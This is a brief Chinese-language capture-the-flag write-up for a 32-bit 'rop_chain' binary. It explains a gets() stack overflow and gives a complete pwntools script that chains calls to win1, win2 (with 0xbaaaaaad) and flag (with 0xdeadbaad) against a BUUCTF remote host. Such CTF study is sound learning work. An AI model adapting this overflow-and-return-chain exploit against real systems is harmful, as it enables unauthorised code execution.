只开启了nx保护,用栈溢出做题,主打一个轻松愉快 -a-
一个gets栈溢出
看flag函数的逻辑顺序
很明显,已经将flag打开并输入到了s里,而想要输出就需要让win1==1、win2==1,以及a1=0xdeadbaad。显然a1是可以由我们自行传入的参数(即a1可控)
简单明了,win1=1
win2这里也有一些要求,即要求win1==1、a1=0xbaaaaaad,这样可以使得win2置1.
如此来看,逻辑就很清晰了,从vuln栈溢出跳转到win1,返回到vuln,跳转到win2并携带参数a1,返回到vuln,跳转到flag函数并携带参数a1(这个与上一个不同)
exp如下:
from pwn import* context(log_level='debug',arch='i386',os='linux') #p=process('./rop_chain') p=remote('node4.buuoj.cn',25235) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline() vuln_addr = 0x8048714 flag_addr = 0x804862B win1_addr = 0x80485CB win2_addr = 0x80485D8 payload = b'A'*(0x18+4)+p32(win1_addr)+p32(vuln_addr) sl(payload) payload = b'A'*(0x18+4)+p32(win2_addr)+p32(vuln_addr)+p32(0xbaaaaaad) sl(payload) payload = b'A'*(0x18+4)+p32(flag_addr)+p32(vuln_addr)+p32(0xdeadbaad) sl(payload) p.interactive() ~